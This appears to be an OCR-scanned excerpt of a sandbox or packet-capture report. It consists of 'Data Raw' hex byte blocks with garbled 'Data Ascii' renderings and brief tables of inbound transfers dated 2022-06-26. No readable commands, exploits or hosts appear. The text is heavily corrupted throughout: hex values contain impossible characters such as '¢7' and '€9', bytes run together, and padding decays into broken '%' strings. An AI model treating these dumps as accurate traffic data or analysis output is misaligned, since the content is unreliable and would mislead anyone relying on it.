16 61 16 65 16 69 16 6d 16 71 16 75 16 79 16 7d 16 81 16 85 16 89 16 8d 16 91 16 95 16 99 16 9d 16 al 16 a5 16 a9 16

ad 16 b1 16 b5 16 b9 16 bd 16 c1 16 ¢5 16 ¢9 16 cd 16 d1 16 d5 16 d9 16 dd 16 el 16 e5 16 €9 16 ed 16 f1 16 f5 16 f9 16
09 16 d0 16 d4 16 31 61 51 61 59 61 5d 61 61 61 65 61 69 61 6d 61 71 61 7561 79 61 7d 61 81 61 85 61 89 61 8d 61 91

619561 al61cl61c96lcd6ldl6lds

Data Ascii: 1%_) - 159 =AEIMQUY]aeimqguy} )9AEIMQUY]aeimquy}1aQ

aYa) iamagauayay

Data Raw: 4e ac 99 59 ea 38 a5 bb ¢7 46 ac 3f d9 43 18 a5 db c¢7 82 ac 26 0d 50 99 25 58 af b3 3e a5 ac Oc 33 8b bl b4
3c 81 b1 62 20 85 64 7d 3f 4b a2 3b 3e c0 7d 10 7b 6a 10 3e f8 7d 12 9b O f6 €5 ¢3 3c ca 2d 49 27 66 a5 ee 11 2d 83 a9
35e7 91 a7 b5 b522 7d 71 7d 1e cd 00 11 fe d9 37 df 2d 32 e4 5e a9 Oc e7 02 47 6e cd 2a d9 00 9f 37 d4 e9 9d 87 5f 8¢
b5 7d 6b d1 4b 13 fc 43 fc ¢3 00 83 02 33 ee 3a 6e 6d 49 33 a4 b7 09 73 2f fc 00 b5 57 24 e6 24 46 6d b6 6d 08 c9 2e c9
637 35 44 ¢1 71 4b c6 b5 48 a4 03 09 2d d7 a5 d1 45 72 6¢ 92 b5 ea b5 2a b7 d6 a4 9e 09 92 39 5f a0 ad 07 71 e4 c7
49 77 c9 b9 37 6f 10 40 1a c0 29 80 7a 57 67 74 c5 cf 2c a8 84 ¢3 f9 2d cf ad 5f 7a 7f 24 48 c5 9b 75 Oa 2e 62 84 ee 59
50 bf 00 a8 76 3b 1e a6 c9 08 7e b0 f5 bf 44 42 44 d2 8d Oa

Data Ascii: NY8BF?C&P%X>3<b d}?K;>}j>}<-I'-5"}q}7-2"Gn*7_}kKC3:nmI3s/W$$SFmm.c5DgKH-Erl*9_glw70@)zWagt,-
_z$Hu.bYPv;~DBD

Data Raw: fc 57 57 f7 82 f9 23 51 2d e9 ¢7 Oc 6f ad c7 ad 7b 86 00 16 56 €0 6¢ 6¢ 6¢ 63 e6 c8 ba 25 15 7f ee ac ac 2¢ 39
3b d3 d2 df 10 2a 31 85 37 86 fe 10 10 b0 25 f1 e0 19 21 12 88 ee 95 1f 2e e7 2b c1 e2 cb d8 22 35 f3 d6 Oc eb da 27 d6
la b6 lade 25 6d ce 17 f3 d8 ac e7 61 25 25 25 25 24 20 73 69 d3 67 85 a7 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25

Data Ascii: WW#Q-0{VIllc%,9;*17%!.+"5'%ma%%%%$ sig%%6%%%%%%%%%6% % %% %% %% %% % %% %% %% %%
9% %%%%6% %% %% % %% %% % % % %% %% %% % % %% %6% %6 %6 % % % %% %% %% % % %% %% % %% % % %% %% % % %
9% % %%%%6 %% %% % %% %% % % % %% % %% %% % %% %6% %% % % %% %% %% % % % %% % % % %% % % %% %% % % %
%%%
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2022-06-26 07:43:09 UTC 465 IN
2022-06-26 07:43:09 UTC 469 IN
2022-06-26 07:43:09 UTC 473 IN
2022-06-26 07:43:09 UTC 477 IN
2022-06-26 07:43:09 UTC 482 IN
2022-06-26 07:43:09 UTC 486 IN
2022-06-26 07:43:09 UTC 490 IN
2022-06-26 07:43:09 UTC 493 IN
2022-06-26 07:43:09 UTC 497 IN
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Data

Data Raw: 4d 41 ff e3 b7 a0 66 07 74 70 3c €9 ac ac 6b c4 02 a2 ed 7f 9a 72 c¢7 f9 b1 bb cc bl d2 34 bd ee e0 cd ba 96
60 60 66 43 40 f3 67 fe 13 9a a3 82 99 b2 44 d7 fb ca 00 fb bd ed c9 23 ef fa 71 93 5b 76 44 8f 8f 17 56 d9 46 d3 01 9c c1
bd 85 b7 0b 80 be 1d ce 5f 7a e2 2d 55 33 €9 75 38 fd 91 9b 53 3a e3 71 22 a2 78 ec b6 1d a5 2f 1le c5 e8 02 6a Oe 06 79
45 fc 5b 64 03 86 98 41 84 0d f6 dc c5 1f 14 98 1f 51 f1 f6 12 93 ¢5 4d 57 Oc Oc Oc be 73 f5 48 92 be dd 7b 66 4c 5¢ c3 cb
ae 42 94 ff f2 e7 07 30 20 e9 3f ee a2 7d 3b 45 €9 35 a5 ae c4 09 f9 84 2e 29 e0 44 6d 24 24 cc 5f 3c 2a 2a ea 40 40 40
c9 8f 38 11 84 df 65 3a 69 57 4a 91 fd 5d 91 c3 e5 33 15 83 e6 ce 07 a0 66 f9 b0 b0 87 8e b4 a4 ef ef 67 82 €6 80 90 dO
2f c2 f3 78 82 90 90 70 68 f6 ba 49 49 89 3f 00 00

Data Ascii: MAftp<kr4“fC@gD#q[vDVF_z-U3u8S:q"x/jyE[dAQMWSsH{fL\BO ?};E5.)Dm$$_<**@ @ @8e:iWJ]3fg/xphlI?

Data Raw: 23 2c €3 Oc 24 3b 6¢ 3d 5d 92 98 80 1b 5c 28 ae 7d 6b 39 42 18 25 2e 30 47 29 12 fe af 54 63 Oe cb 46 23 71
a3 31 ce 07 b3 cd 8f c1 66 cf d7 98 c4 28 73 €0 e0 dc 5¢ db 12 aa 05 46 5 5b fb 60 24 36 21 59 be 19 06 5b dd d7 1e 65
55 6¢ aa 37 4c 66 21 d4 ec a8 6 ef fb fd 8b ea a2 73 7f 55 4d 2e al 9c 4d 2e bd a5 02 d2 el 9b 20 c7 1a b9 bb ab fd 73 3
80 42 94 09 ff 6f ca b9 18 fO ¢9 5f 81 92 52 4b 75 dc €9 52 35 0f e0 61 09 78 79 fO af 00 89 Oa a4 68 16 7d f3 cd 18 fe 62
46 b9 51 9f ef be a4 49 Oc 2e 4b 27 53 36 53 be bc 76 22 b7 cd 3e 0f b0 e7 c9 8b a8 b2 6e 9f 65 69 13 c7 00 85 c6 €0 51
82 3d 43 37 ad 0f d1 33 97 2 ab d5 8f 00 16 f5 5f 44 89 3a 09 70 3a a5 e5 af 08 9c f1 5e 43 8 e5 d3 5¢ 4f ba ed 6e 4c 84
d9 f2 07 78 46 3c 62 07 al 1f 68 a6 fc 4e a0 02

Data Ascii: #,%;|=]\(}k9B%.0G) TcF#q1f(s\F[ $6!Y[eUI7LflsUM.M. sBo_RKuR5axyh}bFQI.K'S6Sv">neiQ=C73_D:
p:AC\OnLxF<bhN

Data Raw: 68 b7 Oe 54 96 1f 6a b3 8d 2c 6¢ bl 29 ff d4 ec d7 47 31 95 47 5¢ fd 81 12 24 01 78 f4 44 c4 2b c7 ff 91 89 e3
4c 4e 75 9d b3 7f 73 41 8f be 07 92 d5 ¢3 37 99 35 eb 97 6f c4 {7 4c b6 6f 07 a4 11 79 e8 7c 07 5f b8 da 2c ea 16 d1 75
76 4b af 03 f4 92 26 69 ff bf 66 6a a2 1d eb c9 4e d3 1b 25 Oc d8 cf 9a 84 41 e5 30 38 65 db 4d fb 16 5¢ bd 53 7f 59 74 04
d3 5f 5d 56 22 95 b6 86 20 82 f7 ea 84 ed 15 fd cf 50 79 63 3b 00 53 08 c9 d5 88 ad 1b de 76 98 85 a2 73 97 dd 5c 5 03
71 cd cb 8b 3f ff 23 24 82 ba 34 e9 0f 11 02 a9 de 6b d0 d3 2e fa 76 85 5a c1 5b 1d 4e b5 e4 55 3e 71 ef a5 da 4d f4 92
9c 01 9d Oc de 09 55 ae e6 23 d4 8b cf 19 88 28 30 26 76 b4 55 8f 2b 21 e9 e9 b dc 8 8f 86 d0 d5 f4 4d 8c a2 ea 9f 67 6¢
43 3d 10 05 8a 3e e9 bl 3a f0 97 95 fa 8a 3f 4f

Data Ascii: hTj,1)G1G\$xD+LNusA750Loy|_,uvK&ifiN%A08eM\SYt_]V" Pyc;Svs\q?#$4k.vZ[INU>qMU#(0&vU+!MgIC=>:?0

Data Raw: 39 dc 7e 73 79 c2 4b 51 dc 98 33 f8 48 e4 el 62 e4 9e 3f 72 45 27 04 4e 05 31 69 a4 15 c2 1le 11 1d 78 50 60
9d df fc 8d 08 2f 4a 80 5d Oc a5 d0 9d 46 11 19 9f 59 68 16 49 89 7e 3a ea 4f ¢3 11 79 f1 68 d7 9d ef 70 10 10 df 8f 5e d7
bf 08 b0 6d 7c 34 d3 49 4f 88 dd ae 12 c3 23 a3 54 e7 82 09 89 f5 df 1f ba 58 56 cb 64 12 3a 3c b6 75 6f 03 59 62 be 28
5c 08 32 bf 8f f5 05 4e 22 5f 81 25 83 d1 66 ee 90 95 f7 ce 42 bl ad 3d ¢4 75 ba 04 aa 11 69 c4 35 7a 88 06 €0 5d 73 ac
337958 3d 28 61 b5 3¢ 72 ¢5 e7 bf 56 60 b9 b1 a2 f5 b6 8e b0 6e 29 f2 18 25 b7 52 2d 3f fa 52 cf 5e f3 c1 08 b0 Oa 0d 4f
17 7e 8a 04 a2 c5 70 1d bc Oa ec 34 52 44 50 e8 df 8b 09 b2 ca 98 ea b8 01 86 6e f6 d7 22 b1 9a 69 9c d2 c5 9f cc f1 al
52 47 5e 44 61 30 60 2c f9 df 6f 87 18 bb bd 2d 65

Data Ascii: 9~syKQ3Hb?rE'N1ixP /J]JFYhl~:Oyhp m|4I0#TXVd:<uoYb(\2N"_%fB=ui5z]s3yX=(a<rV 'n)%R-?R"O~p4R
DPn"iRG"Da0",0-e

Data Raw: 62 34 71 ee d1 8f e9 8e 05 6e 12 41 57 67 df b1 60 d2 2c ad 8d c9 94 ad 9d dc 2e 3a e4 8b df 52 b0 d5 57 18
854f 94 c389 81 57 ee e2 43 8a 01 21 cb bb 34 b3 39 9e 1a 52 fc 0a 69 12 f6 5b ec 01 e2 99 al 42 da ea 57 e4 f4 9a b9
5a 2c 7d 3f 6d 22 8d Ob 5e 83 44 fd e3 47 6f ae 65 a3 24 8f fe 51 04 78 77 64 33 2e 81 48 d0 8d ee fd 53 2a 4a 41 e7 7a
01 f0 de 9b 6a 17 18 6d 3c 75 6d 3a ec b6 99 1f 49 00 23 e6 69 bl bc 42 27 ec fe c2 b8 ¢8 7f 9¢c 39 e2 7b 66 f8 c7 60 8b
0102 2af4 11 d3 a8 e5 81 eb e9 47 be 6¢ ba a9 2a 8c 1ae2 60 11 04 a2 3b 69 39 4d d1 e3 70 3b 8e d7 78 67 e5 c5 3
69 65 48 e2 ec 23 f2 59 93 bd 7b 07 c2 75 48 d4 ca 3c 72 b9 2b fb ca 34 e4 c9 f2 e9 4b a0 ee 1d Ob b9 37 c3 ec 2d 9a fc
a3 12 fd a8 16 4c 4e d0 3e 36 3e 6a 85 3a 4e 7b 45 03 4b aa

Data Ascii: b4gnAWg',..RWOWC!49Ri[BWZ,}?m"*DGoe$Qxwd3.HS*JAzjm<um:I#iB'9{f *GI**;i9OMp;xgieH# Y {uH<r+4K7-
LN>6>j:N{EK

Data Raw: €8 64 21 81 90 ce 85 4a 79 4f 53 c9 ea 03 40 6f b6 c1 db 05 be a7 Oc 50 f8 fe 68 1d 32 28 fc eb 46 68 39 75 Oe
60 6b a7 6f 57 e8 f3 a9 1c 24 05 7b 10 30 d3 c7 87 90 b3 27 22 43 fc 4a b5 b3 f1 a4 b0 f6 93 5a 3a f6 e7 5a Oc 3e 5e 11
78 f0 8a 20 d6 b5 6¢ 43 af cd d7 5¢ Oe 08 1c 17 9c 3b ca 59 7f 4d 6d 12 d3 25 59 6f c3 6d 48 92 d2 8b eb 8c 7d dO 1f 6e
81 af 15 d9 f5 23 Ob a7 af 81 28 5 ea 24 0f 30 38 1f 14 8a 6a €8 d2 f4 60 74 85 dd 38 2e b2 a8 df d7 ee d3 ad ac 9c 67 1d
24 bb eb 8f 35 71 d9 d0 31 10 0d c3 34 57 54 36 e5 67 af 91 5e 1e 61 4c 2e fe 95 5¢c 3a 32 f5 8a d3 8¢ 83 7d €8 50 a2 04
02 94 66 f3 05 20 18 84 58 2f 9b 87 1b 58 62 fc 72 91 cf 2f 4c 6f cc 77 b4 62 62 4d 4d 3c fc 49 88 5e 83 92 b2 ¢7 80 44 cf
5e ec 02 ce 74 0d 27 29 76 4d d7 07 be 45 23 fc

Data Ascii: d!JyOS@0Ph2(Fh9u koW${0™"CJIZ:Z>"x IC\;YMm%YomH}n#($08j t8.g$5q14WT6g aL \:2}Pf X/Xbr/Low
bbMM<I"DAt)VME#

Data Raw: 67 ef 43 5b 46 45 59 48 27 19 fb a7 c8 3e 02 dd 7c 96 2a 86 5c fc 9f f1 ac fb 32 48 fd 6f f1 8f Oe 4e cf 9d 06 ab
74 80 3c b8 12 14 17 ab 26 Oc db de 86 bc 66 11 cd 7b e5 83 ff e6 b0 57 2a 2e 59 66 0f 89 79 1b le cb 53 1e 45 28 e4 3e
f2 2f 13 4a 6b 75 6¢ ec 44 88 e7 bd 2e 27 e8 €3 27 01 70 fb 57 al 49 75 67 35 9d 23 7b ad ea 69 45 69 ce 82 b9 3b c3 2e
18 7f 9e f7 2e 87 3d 3c 87 €6 6e 9f 11 27 59 73 01 ae 58 f3 9d 9b €9 05 06 16 d2 f7 c6 14 8e bb Oc d9 39 76 0d ed 42 5a
23 d7 68 b5 4b 65 6b ce e5 ae fe 10 db ca 9a f2 54 a9 e4 47 a9 18 8c ed cc 95 f4 9e 35 35 9¢ 19 69 el 74 a2 87 71 9a 3¢
2ac7 288043 8c 2b a3 db 1e f1 23 67 22 2d be 5¢ b1 db 58 b9 28 6e 52 ec fc 36 57 2b 89 3c 95 44 ff a8 ef 42 8e 1la ee
a0 52 28 8d 3 c5 de a0 b7 a2 d9 1b 5e 8b 8a bd b5

Data Ascii: gC[FEYH'>|"\2HoNt<&{W*.YfySE(>/JkulD."pWIug5#{iEi;..=<n'YsX9vBZ#hKekTG55itq<*(C+#g"-\X (NnR6EW+
<DBR(*

Data Raw: bb 8f a0 bf 0f b5 5d e1 01 30 8c 8d 5f 28 29 03 97 5f 6a 03 bd e6 {7 5a da cc 91 5a 8f c9 2e 46 f0 3d ee 84 4b
32 eb 96 9f 92 41 81 ec 14 32 fd 7a 38 49 41 f6 57 65 16 2a 3d 5e 6d 16 84 b2 99 4f f5 37 88 5¢ f8 62 07 a9 49 a2 75 81
04 0 ae Of bl cf 9e 06 4b 63 b3 93 7b 10 5a 8e ad 32 a3 1b 78 c9 84 b6 53 1a d6 31 43 19 8b 18 7e c9 ff Oe b7 96 fd 66
6 2a a9 5a 99 5¢ 24 2e 66 53 4a 03 el 95 e4 97 Of be 43 3a 9c cf 32 e0 7f a8 33 €6 65 6d 11 dc 5f 98 74 2f 92 7a 70 00
7c cb 95 bf b0 d8 ce 75 a8 7e fa 61 3c cO a3 9e 24 90 7d 83 98 9e ff 1a 1f 46 62 17 18 14 d1 32 92 79 27 ff bf 57 73 28 f6
89 93 d3 dc b7 51 26 00 a4 d6 16 d8 21 bb 8¢ 81 dO fd 16 1a el fO 17 bf 28 b1 b7 7d €8 73 c2 f3 a3 56 01 d6 €5 31 b7 90
a0 ca 30 58 9e 7c f9 02 c1 f1 42 8a ab 7b 12 bl bb

Data Ascii: ]0_()_jZZ.F=K2A2z8|AWe*="mO7\bluKc{Z2xS1C~f*Z\$.fSIC:23em_t/zp|u~a<$}Fb2y'Ws(Q&!(}sV10X|B{

Data Raw: 3b 50 1f 78 a2 b5 c0 3c 5e fd d5 8a bc 01 b7 74 f9 78 05 7d Oc 5b 94 70 33 d7 65 d4 8a 97 38 a0 19 a0 63 a2
b6 92 bc 55 00 de d6 bl d7 5a 03 28 e5 95 ¢9 2b 18 26 ¢3 67 9a d3 ef f3 07 57 27 63 d0 ba 1e 71 2e 00 d1 60 4c fc 20 80
8e 3354 d3 79 cc f6 fb 77 1f f4 2f 79 4c 09 59 22 b3 bb 75 1b a3 62 11 b4 96 96 dO 3c ed fe f1 da cf 08 5a 87 50 67 44 4e
77 b8 7e 4c c5 ee 2082 72 ed 77 dd a9 4d f0 e9 ec 7e d2 d9 15 b2 75 26 ab d4 31 14 2b e5 f2 67 2c e5 33 5f 4a b3 7c el
7176 58 03 1b 8f 63 57 e5 4b d1 6e fe 84 a6 00 f4 55 b9 2d b1 25 fb 09 b1 6c 1a 6f 61 8c 2b 75 b3 c1 bl e2 eb fa 86 Oe
d1 38 c9 10 c6 96 36 ed 43 Ob 8e bf 11 76 15 20 33 d3 5a d2 a6 al 27 86 63 84 08 2e 16 12 fc 47 4f 87 4d 37 d9 ed c2 ed
16 69 3c f5 51 a3 b9 fd 63 36 ee 29 3d 94 Ob b7 ec f6

Data Ascii: ;Px<"tx}[p3e8cUZ(+&gW'cq. L 3Tyw/yLY"ub<ZPgDNw~L rwM~u&1+g,3_J|qvXcWKnU-%loa+u86Cv 3Z'c.
GOM7i<Qc6)=
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Timestamp transferred Direction
2022-06-26 07:43:09 UTC 501 IN
2022-06-26 07:43:09 UTC 505 IN
2022-06-26 07:43:09 UTC 509 IN
2022-06-26 07:43:09 UTC 514 IN
2022-06-26 07:43:09 UTC 518 IN
2022-06-26 07:43:09 UTC 522 IN
2022-06-26 07:43:09 UTC 525 IN
2022-06-26 07:43:09 UTC 529 IN
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Data

Data Raw: 91 29 62 99 3a 85 d9 c6 48 45 62 c2 a8 bc ac fc 28 c7 82 55 2f f3 ¢4 4b 10 94 df ef 25 fd d6 48 07 84 a3 d8 60
35 f4 48 6a 21 b4 d8 87 bf fb 1a 6¢ 55 59 e3 02 ee c6 87 7f 16 97 c4 7f 92 7a ea a9 a2 ad 50 6d 5d 79 32 81 86 e7 71 84
€7 24 0b 3c ad 3a 27 41 fc 69 ac 30 fa 7e a3 2e Ob 81 2e b5 f8 9c el 71 4b 80 14 55 ea a5 a8 09 4b a4 4e 37 18 65 e7 db
7e de 62 1c Ob 16 3b 9e ae 85 65 8f 06 89 72 c8 3a 30 f5 9a 8a 8e 5c Oe ea 34 44 4c e5 9d a8 b4 f5 13 69 65 e3 e7 02 b9
99 99 31 12 22 96 ea 8e ef 00 ac cf f4 1508 cb 11 e5 17 dc 52 18 Oc 78 00 d7 bf 44 a0 50 e2 39 88 d8 ef 00 8d 22 01 02
00 bl f2 b8 11 9f d9 7b 36 c1 74 5a 56 f9 65 ca a5 da d5 be 81 al 20 ae Oa 19 41 ec 6a fb ec 48 ad c8 Oa fe 48 cf fb e0 36
4b c9 8e 8b 52 84 e2 5a 93 b7 5¢ 93 ef e2 9b a8 b5

Data Ascii: )b:HEb(U/K%H 5Hj!lUYzPm]y2q$<:'Ai0~..gkUKN7e~b;er:0\4DLie1"RxDP9"{6tZVe AjHH6KRZ\

Data Raw: d2 39 1c 13 fd d6 f6 el e5 3e f6 14 86 48 d9 3d 10 bb b4 4d bd 13 38 be 17 61 97 f9 81 49 b9 fb 67 37 85 62 3f
07 c7 68 53 cc 54 a9 40 a3 db b8 11 30 61 54 ef 89 93 3e 64 fc ea Oc 4a 80 c0 bd 08 3¢ 75 82 c9 7f 68 7a bc 84 64 dO ce
ba d8 86 6e 25 ed 89 1a 85 35 61 d3 c6 ec 7d 71 5¢c 0d 9c Oe 11 6f 8b 2f fO ee 71 95 35 Ob b5 fd 4a 1b 42 f4 3e a9 77 5¢
33 d1 9651 89 8322 64 2f 9b cf e3 bb dd fb c6 01 68 df 9a 52 a2 16 26 ff ef 56 05 86 62 da f9 9b c3 e6 €8 el Oe d8 15 99
8d fb d1 79 ad 40 Oe b9 bb 42 47 46 fd a6 7b f2 50 9 60 8b a7 f1 6d a0 bb 96 8a 24 1b 79 2b 4b 7a e8 4d 83 b2 32 b6 44
9b ad 00 b6 bc ca 0a be 37 59 6 55 6d 65 db 99 6e 89 c3 26 fc 06 36 fc 6b 53 55 cc de €2 82 2d 87 47 cd 4d 88 5c 20 48
2a 90 a7 40 7f 52 64 6b 90 ba 35 56 56 14 3c 44 52

Data Ascii: 9>H=M8alg7b?hST@0aT>dJ<uhzdn%5a}q\0/q5IB>W\3Q"d/hR&Vby @BGF{P m$y+KzM2D7YUmen&6kSU-
GM\ H*@Rdk5VV<DR

Data Raw: 14 8a f6 92 5b 62 7d 46 3c d6 d1 8e 14 92 c1 8e e8 18 48 f3 75 4e 19 67 33 b4 4b b4 92 29 90 e5 92 59 30 c4
28 3d 8f 87 2c 2d 3c 54 79 25 64 c4 2a al 44 6b dd d6 38 60 b7 el 9f f1 75 01 6d 9e 8f d9 1f 21 c5 ca Of 3c 26 5¢ 0f 50 74
61 38 8a 8e 61 f1 c3 fb cc ff 16 44 7c 6f 3a 8a €6 41 d0 18 f2 ef 2c d7 e3 b0 51 65 b0 d6 00 13 3b 48 27 c9 18 ab 84 5d da
78 a5 5 ¢6 4b ec 7c 76 39 0d 8e 9f 15 25 96 3c da 08 Of e8 67 73 51 ff 63 07 64 12 75 6¢ dO c0 87 d3 05 27 ff 42 Ob a9

57 44 c9 c6 47 29 84 97 Oe 26 67 77 e6 2a 7a 58 3c f6 ¢4 2d 18 7b 4c d9 28 c9 e7 21 b9 40 Ob 4b 00 81 4f ad e7 f9 Ob 85
2b 95 92 30 95 b6 ad a3 43 10 b6 37 {5 4f 6f c9 c4 8f 71 fa 84 07 18 94 ed 84 84 a7 49 64 30 f4 2d a2 c5 1le 76 fb 6e 45
d8 16 aa 25 4e c7 24 5e 70 42 el f3 57 da e3 43 5¢

Data Ascii: [b}F<HuUNg3K)YO0(=,-<Ty%d*Dk8 um!<&\Pta8aD|o:A,Qe;H[xK|v9%<gsQcdul'BWDG)&gw*zX<-{L(! @KO+0
C700q!d0-vnE%N$*pBWC\

Data Raw: af ee a7 01 73 1a 2e 59 61 c5 f4 20 5d 13 23 e8 74 9e Ob ac 6f 66 41 62 45 ee 3b c8 4b 9b 7b c6 a3 61 90 62
a5 8d ba e2 44 76 12 c4 f9 ef 8b 2f 34 39 dc a4 7a 90 8a b5 42 6e 97 Ob 4b 6¢ 53 38 12 b5 47 37 b3 59 e4 a4 f4 46 61 00
32 3d f2 75 de 00 cf 4f ec 68 88 e6 de 00 1f 42 71 a5 97 b7 4a dc 76 3c db 3d 37 d4 56 23 18 86 61 10 3f 3c a4 86 Ob cO
c4 9e Oc ec fc e3 ac b7 85 5a f1 d3 8f 60 d2 c1 87 7 5e ce e7 9a 6f 2a 57 24 64 58 9c eb 9b 4a c0 29 51 a7 73 Oa a8 36
4211 50 c6 28 b5 ae 76 d8 52 34 47 3c fe ¢6 31 €6 76 b2 5a 29 41 6a 01 22 18 40 96 20 98 35 66 17 dc a0 ca le 2f 49
66 fb 2a 21 41 b9 8 26 al 8f 74 f0 1f e0 2d 9d 42 c¢7 05 d1 61 de dd 4c e4 42 19 76 1c a6 al ea 9a 24 51 4c 61 ca 2e 7c
7d 4510 ed 11 1f dc 66 €8 96 52 02 8¢ b7 ff 8c ba 98 19 7¢

Data Ascii: s.Ya J#tofAbE;K{abDv/49zBnKIS8G7YFa2=uOhBqJv<=7V#a?<Z "o*W$dXJ)Qs6BP(VR4G<1vZ)Aj"@ 5f/If
*IA&t-BalLBv$QLa.[}EfR|

Data Raw: 5e 55 aa bf b4 ca 34 b4 05 d1 50 Oc d2 fc ef db €5 38 38 61 37 €9 d6 35 fb 59 74 4d ba 68 38 f9 69 db 89 5 1b
05 18 15 2d c7 e6 68 fbh 06 4a Oc 1b 4e dO df 82 3b 81 80 c8 a9 b2 49 87 c1 76 73 fO 9c c3 2f b2 f8 e0 5¢ 22 d6 1b Ob 88
55 6a 55 2d a3 3a 82 6e d4 18 df 87 66 4d 99 d2 5e be 58 f4 fb cf 70 98 e2 4c 2f 51 0d 57 55 09 Oa 6d ff df 04 64 af a8 34
d2 d8 e0 66 8c 6¢ ac dd a2 24 9d ea 02 5f 1b 84 b5 85 c4 e4 e6 6b 24 26 dd 54 c2 52 c¢7 ¢4 Ob 77 4c 8e 09 70 b2 b6 05
be 20 6e 79 f2 b7 ab 66 2a 1b 5b 45 95 07 fb 38 b4 ef 40 38 f1 2e 39 eb 21 66 0d 99 87 b2 b4 fc 00 d5 b5 f0 c7 8e d5 f5
9c 58 a2 cd 9c 76 67 30 12 10 47 02 5d 10 fO e5 9d 2d fa 61 c¢8 83 52 06 8d d3 3f 1c 90 b6 c3 41 6e a5 c7 {3 28 f3 4c 15
b4 90 Oe ca ae c4 5e 1a d6 38 2f 74 7d 7a 79 ca 04 9b

Data Ascii: "U4P88a75YtMh8i-hJN;lvs/\"UjU-:nfM XpL/QWUmd4fl$_k$&TRwLp nyf*[EB@8.9!fXvg0G]-aR?An(L"8/t}zy

Data Raw: 63 5¢ 5e e0 04 d4 a9 c7 95 e2 96 21 17 4b 1f Oa a0 5f c4 68 6a a9 49 d5 4f c4 05 fa €9 49 22 04 2b 5 cb cd 1e
a2 f1 84 a8 28 19 8b 08 ef 7c 5¢c 02 87 d6 4d 3b 77 75 44 a2 2a e5 79 7c ed 7a 58 f2 5b ce 6a 79 d1 15 b0 97 9a 66 ac Of
38 a5 b4 de 6f 79 95 87 5a f8 90 e9 c0 22 91 b2 85 31 1a 8e 9b c8 dc 43 52 cc e0 45 ed 61 6¢ 6¢ a3 e4 f5 63 a2 99 c4 d5
85 a2 55 cc 26 51 89 61 f0 52 46 57 4d 24 30 2d 48 41 cb ba 80 6a a2 56 07 4f 67 b4 9b a6 77 5a 96 fd ce 9e 31 2b 25 Of
ed 02 99 5b f6 09 54 61 3a 34 c3 33 6f 98 ae 46 3e 92 3d 02 e3 e2 ef fa a2 21 77 05 ba 49 b9 7b 19 37 7a 8e 87 3 6e c0
f4 5d 7c d9 aa 0d 1c 3e 3d ce 3d 39 bf ca 82 9b aa 23 ¢7 d4 16 e3 57 c8 cl be 77 8d f2 77 4f c8 18 4a b6 5f 70 4a c2 61
ce Oe 3e 35 da Oc ee 92 f2 25 48 16 85 ba 78 00 e0 da

Data Ascii: c\MK_hjlOl"+(\\M;wuD*y|zX[jyf8oyZ"1CREallcU&QaRFWM$0-HA]VOgwZ 1+%[ Ta:430F>=lwI{7zn][>==
#WwwOJ_pJa>5%Hx

Data Raw: c0 6a 5f 6¢ f4 7f 96 38 ¢7 b9 77 bd 8d 03 cb d5 b5 bc d6 00 ae e0 b3 c1 95 81 b3 ef ae 6b ff 73 4c 89 ac e6 7b
c0 5d 1f b4 46 a2 ed 03 fe f4 26 9e 03 f6 ca 73 b6 f9 04 f1 35 64 b7 c3 68 0d Oa b1 90 c2 63 36 29 4d 31 7c 05 Oa c3 a6
3b 47 e8 59 1e fd b4 e8 23 48 94 d2 c6 be 74 68 36 b9 28 7c fc 14 30 53 92 11 ¢3 b9 2f 9e 91 Oc €O fd df 69 d4 55 d7 19
9f e1 99 6b 69 59 50 8b 12 f5 23 cc €6 d5 a2 91 5f 62 dO b8 52 ba 10 b3 88 ee 3f b0 f2 55 0 93 4d 2f fc 5¢ 33 98 29 38
76 €5 0c 80 1c a2 90 15 a6 d4 c0 d3 d6 a2 54 39 ed e3 ff 26 2e c3 e3 41 a5 68 cc ea 66 el d1 c8 52 76 19 f8 26 cO0 fc 22
ac ce 3d 13 bd d3 31 04 bb Oc 4 f3 ¢3 34 84 12 1a cf 42 a5 99 01 89 ec c0 bd 67 c4 6d 83 c1 3f 9c 36 7e f8 0d 50 ff d8 al
4c 62 66 54 dO 1e 47 c7 80 8d 83 78 82 51 ff a6 de

Data Ascii: j_I8wksL{]JF&s5dhc6)M1|;GY#Hth6(|0S/iUkiYP#_bR?UM/N3)8vT9&. AhfRv&"=14Bgm?6~PLbfTGXxQ

Data Raw: 27 6e 93 54 d4 30 ac 64 c7 ca 2e 58 c¢5 19 3e ca b6 d4 71 f7 89 de ef 13 52 5¢ dc 4f 3d 8a 53 €9 04 5 9e be 71
7f 24 de 47 73 1b 1f 5¢ 1a cc ba 30 fa 78 dc 7c b2 9¢ 3d 36 11 d8 22 e2 7e 3f 47 b9 68 80 b5 9a 85 8b b8 d1 e2 3b 24 28
68 d9 d1 c8 a0 64 5b 0d f2 61 f9 18 d0 cb 60 44 b6 2b b8 d9 d0 17 c5 e2 b9 db 77 17 9b 2f f2 27 3f 02 e7 ca b5 21 11 6a
61 cb f8 54 bc 2a 61 ca b2 68 02 8f 39 34 a0 11 6a 47 64 4c 72 b3 3f 6d cc 00 Oc a8 34 5¢ 6b 47 55 ee 9d c7 5e a3 73 86
82 20 a6 ba 6b 1c bd 6d d0 6d al 10 49 3 63 ef 40 f9 67 7e 44 6b f1 9d 66 d8 39 8b 2c 8d 06 64 de c5 4d al ae dO 1d 4c
e8 be 69 c4 7e 88 de 43 fe a0 90 e0 fc d4 eb fb 18 e4 3 69 a2 2a a4 61 8d cc 31 22 ¢2 24 19 05 22 d7 c1 7e c1 77 10 43
fc 9e 3c e2 b7 d0 22 32 63 51 08 38 58 4e 50 c2 02 3c

Data Ascii: 'nT0d.X>qR\O=Sq$Gs\0x|=6"~?Gh;$(hd[a D+w/'?!jaT*ah94jGdLr?m4\kGU"s kmmlc@g~Dkf9,dMLi~Ci*
al"$"~wC<"2cQ8XNP<

Data Raw: 30 32 c8 dc 5e 60 7a ae 30 b8 de aa b9 5a 39 24 00 66 08 54 c8 2¢ 3c 41 42 f0 5d fa Oc 1b 13 ad ff ec 72 d9
